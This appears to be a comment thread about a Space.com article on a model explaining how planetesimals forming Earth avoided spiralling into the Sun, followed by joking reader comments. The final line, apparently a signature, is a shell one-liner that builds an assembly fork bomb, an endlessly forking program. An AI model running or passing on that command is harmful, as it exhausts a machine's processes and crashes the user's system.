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How Earth Avoided a Fiery Premature Death
Hugh Pickens writes "Space.com has a piece about changing theories of planet migration. The classic picture suggests that planets like Earth should have plummeted into the sun while they were still planetesimals, asteroid-sized building blocks that eventually collide to form full-fledged planets. 'Well, this contradicts basic observational evidence, like We. Are. Here,' says astronomer Moredecai-Mark Mac Low. Researchers investigating this discrepancy came up with a new model that explains how planets can migrate as they're forming and still avoid a fiery premature death. One problem with the classic view of planet formation and migration is that it assumes that the temperature of the protoplanetary disk around a star is constant across its whole span. It turns out that portions of the disk are opaque and so cannot cool quickly by radiating heat out to space. So in the new model, temperature differences in the space around the sun, 4.6 billion years ago, caused Earth to migrate outward as much as gravity was trying to pull it inward, and so the fledgling world found equilibrium in its current, habitable, orbit. 'We are trying to understand how planets interact with the gas disks from which they form as the disk evolves over its lifetime,' adds Mac Low. 'We show that the planetoids from which the Earth formed can survive their immersion in the gas disk without falling into the Sun.'"
Don't. It's a work of fiction and a pretty boring one at that.
All that begatting and not a bare breast in sight.
Morbo: Orbital mechanics do not work that way.
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Surely the mindless violence makes up for that.
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Each line must end with p-tags!
I am mortified.
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How Earth Avoided a Fiery Premature Death
The dinosaurs were smart (especially the Velociraptors). They stopped driving SUVs. That's why we're here.
There's no place like
ok neat, But how did the main asteroid belt form again,
According to Heinlein, the inhabitants of the original 5th planet annoyed the Martians.
This would seem to suggest the inner planets formed first and swept the disk of hard derbies...
Then the disk sang to the Sun: "I'd tip my hat to you, but I haven't got a hat".
Where's the kaboom! There's *supposed* to be an *earth* shattering kaboom!
Science advances one funeral at a time- Max Planck
I probably am the only one who misread the title as "How to avoid a fiery premature death."
> 4.6 billion years ago
I like the way it's just a bit bigger than 2^32 to stop you using 32 bit variables for the year.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;